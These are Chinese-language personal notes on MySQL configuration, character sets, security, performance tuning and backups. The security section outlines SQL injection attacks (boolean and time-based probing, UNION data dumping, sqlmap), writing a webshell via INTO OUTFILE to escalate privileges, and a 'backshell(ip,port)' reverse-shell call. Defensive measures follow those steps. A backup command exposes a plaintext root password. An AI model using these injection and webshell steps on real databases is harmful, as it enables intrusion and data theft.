MySQL配置、安全、优化相关札记整理

1. 执行计划

select_type
SIMPLE 不需要union且不包含子查询的sql操作
PRIMARY
UNION
DERIVED
DEPENDENT SUBQUERY

2. MySQL字符集和国际化

2.1 字符集配置的作用

#1  连接相关的字符集

#1.1 设置MySQL返回结果表时结果表应使用的字符集(如果存储字符集与这个设置不一致，则会进行编码转换)，SET NAMES可以临时设置，客户端根据此进行适当的编码转换
character_set_results  
#1.2 String literal的默认字符集，转义符后的字符串的字符集，literal的翻译不太统一(本意是字面值，有时被翻译成常量，汇编语言翻译成立即数，SQL中指直接写在sql语句中的字符串常量)
character_set_connection
#1.3 MySQL服务器认为客户端使用的字符集
character_set_client

#2 存储所涉及的字符集
#2.1 元数据的存储 
#设置存储MySQL元数据时使用的字符集，元数据(数据的数据，用于描述数据库)包括列名，数据库名，用户名，版本号，大部分show语句的返回值，INFORMATION_SCHEMA表的内容，值为utf-8 只读属性，不能修改
character_set_system
#2.2 数据库内容的存储 
#CREATE DATABASE语句创建数据表未显示指明字符集时，数据库的默认存储字符集
character_set_server
#CREATE TABLE语句创建表，列未显示指明字符集时，表的默认存储字符集
character_set_database
#2.3 操作系统文件名的存储
#与系统文件名相关的String literal，最终本转换为此字符集，此变量表示系统文件名所使用的字符集(binary表示不做转换)  
# LOAD DATA INFILE and SELECT ... INTO OUTFILE 
character_set_filesystem

2.2 字符集的自动转换

2.3 字符集的查看和调试

HEX()函数用于调试字符集

2.4 字符集的建议配置

统一utf-8并非最优配置，纯英文使用latin更合适，但要支持中文或者考虑国际化，utf-8最方便

character_set_results  utf-8
character_set_connection utf-8
character_set_client utf-8
character_set_server utf-8
character_set_database utf-8
character_set_system utf-8 (Readonly)
character_set_filesystem binary

http://dev.mysql.com/doc/refman/5.7/en/charset.html
http://www.jb51.net/article/29960.htm

3. MySQL安全

3.1 使用非root用户，限制非root用户权限，尤其是mysql表，schema表

3.2 MySQL注入型攻击

3.2.1 攻
针对非参数化的语句
参数化判断注入
?'and 1=1 方法
1=1因为设计到典型过滤，所以可以用任意条件语句或内置函数
延时注入攻击
利用数据库针对正确和错误的不同延时来判断真假，进行注入型攻击
利用union脱裤
可借助自动化工具sqlmap
利用INTO OUTFILE/INTO DUMPFILE/load_file上传木马提权
INTO OUTFILE本意用来将数据导出到文件，但也可以利用已经写入到数据库数据的木马脚本，上传到服务器
木马能上线的前提：

• 数据库服务器有外网连接，利用木马连接我们的服务器，进行数据通信来继续进行内网渗透攻击
• 数据库服务器和web服务器是同一台，即木马程序可以向web提供访问
• 知道web服务的绝对路径，这样才能将木马web目录，以提供web界面才能访问
• php，asp解析性的直接可用，java应放到classpath中，可能需要等待系统重启

SELECT * INTO OUTFILE '/data/volume/mysql/a.txt' FIELDS TERMINATED BY ',' FROM tb_ip

反弹端口提权

select backshell(ip,port)

3.2.2 防

参数化语句
关键字过滤
合理分配数据库权限
合理分配MySQL语句权限
合理分配MySQL用户权限
合理分配MySQL进程权限

3.3 MySQL Console提权

console system语句提权

4. MySQL性能优化

http://dev.mysql.com/doc/refman/5.7/en/optimization.html

设计优化 https://yq.aliyun.com/articles/98539

库级别(分库=读写分离)
一主多从，主从热备(判断依据，需要预先估算或指导读写比例，需要中间件支持)
posgresql (Pgpool-II，Postgres-XL)
消息：2016年11月05日: 腾讯内部在用pgxl的一个改进版 叫pgxz
mysql (mycat,oneproxy)
表级别(分表=冷热分离=因可以且应该采用不用的缓存等优化方式)
冷数据(极少变动，读多写少)
热数据(经常改变)

连接优化

连接数，连接池

缓存优化

性能调试

定性判断

• 数据是否经常更新
  开启查询缓存后，查询会先查询缓存后查询数据库表，数据经常更新，缓存命中率低，查询缓存反而是无用功
  定量判断
• 查询缓存命中率
  开启参数化查询
  是否可使用内存表

MyISAM存储引擎

InnoDB存储引擎

单条SQL性能调优(慢查询日志分析)

1. 对号入座(不同的SQL有不同的优化方法和原则，先将SQL语句进行分门别类，对号入座)
   简单SELECT(不带WHERE)
   简单SELECT(带WHERE)

• 是否可以添加索引(原理：减少扫描的行数) https://dev.mysql.com/doc/refman/5.6/en/optimization-indexes.html
  Memory： Hash,B-Tree
  InnoDB： B-Tree
  MyISAM： B-TRee
  Spatial data types： R-Tree

EXPLAIN查询执行计划分析
profiling分析

NOCACHE查询(排除缓存对MySQL性能的影响)
select SQL_NO_CACHE * from tb_weibo limit 1

5.MySQL备份

备份方式

备份实践，备份成本，锁时间，时长，性能开销，恢复成本，恢复时长，所能够容忍丢失的数据量

MySQL闪回 由阿里彭立勋开发，2012年合并到MySQL官方仓库，美团网开发的调试工具binlog2sql

mysqldump --socket=/data/volume/mysql/mysql.sock -u root -p ocosc > /data/backup.sql
mysqldump --socket=/data/volume/mysql/mysql.sock --all-databases --single-transaction -u root -p > /data/volume/spider1.sql
mysqldump --socket=/data/volume/mysql/mysql.sock --all-databases --single-transaction -u root -p | gzip > /data/volume/spider1.sql.gz

mysqldump 备份主要受硬盘io限制，初始阶段硬盘为主要瓶颈随机读取，受IOPS限制，见cpu wait 硬盘tps，单线程，只占用一个cpu，后期主要为快存储，cpu为主要限制，见cpu usr
-q 禁止缓存

mysqldump 大概每秒3千条记录
innodb 热备，温备
myisam 温备
mysqldumper 多线程的mysqldump
mysqlhotdump

yum install cmake make gcc gcc-c++ wget -y
yum install glib2-devel mysql-devel zlib-devel pcre-devel -y
git clone https://github.com/maxbube/mydumper.git
mkdir bin
cd bin
wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm
rpm -ivh mysql-community-release-el7-5.noarch.rpm
yum install mysql-community-devel mysql-community-client -y 
cmake ./

Xtrabackup
innodb 热备，增量 PITR
myisam 温备 PITR
官网下载rpm包 yum安装
innobackupex --user=root --password=‘r1G%!p8M’ /data/volume/backup
tar zcvf backup.tar.gz backup
scp -r /data/docker-volume/mariadb-3/backup.tar.gz root@192.168.10.22:/home/spider_backup/20160930_3_backup.tar.gz

http://www.tuicool.com/articles/B3euYzj

数据引擎 TokuDB 支持数据压缩
Postgres PlusTM Advanced Serve

数据库选型的几个关键指标

支持关系
支持数据规模
支持统计(速度)
原子性的支持
事务性的支持
字符集的支持
灾备和XX备的支持

安装后需关心的配置

1. 字符集相关
2. 连接相关，最大连接数
3. 日志相关